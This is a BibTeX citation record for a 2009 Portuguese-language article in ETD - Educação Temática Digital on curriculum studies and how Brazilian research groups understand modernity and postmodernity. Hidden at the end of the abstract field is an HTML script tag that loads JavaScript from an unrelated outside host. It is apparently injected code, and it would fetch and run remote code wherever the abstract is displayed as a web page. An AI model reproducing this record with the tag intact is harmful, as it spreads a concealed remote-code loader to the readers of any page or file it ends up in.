@article{Veiga-Neto_Macedo_2009, place={Campinas, SP}, title={Estudos de currículo: como lidamos com os conceitos de moderno e pós-moderno?}, volume={9}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1054}, DOI={10.20396/etd.v9i0.1054}, abstractNote={<p align="justify">O texto faz um primeiro apanhado sistemático dos grupos que, ligados ao GT Currículo da ANPEd, vêm trabalhando no campo dos Estudos de Currículo em várias universidades brasileiras e como tais grupos estão significando e usando as expressões moderno, modernidade, pós-moderno etc. Inicia-se com um quadro sinóptico das contribuições enviadas pelos grupos, passando a uma breve análise das relações entre modernidade, pós-modernidade e pós-estruturalismo; discute-se o lugar que é conferido ao real, quando se assume uma perspectiva que reconhece a centralidade dos discursos; discutem-se brevemente as relações entre teoria e empiria. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, journal={ETD - Educação Temática Digital}, author={Veiga-Neto, Alfredo and Macedo, Elizabeth}, year={2009}, month={jan.}, pages={234–252} }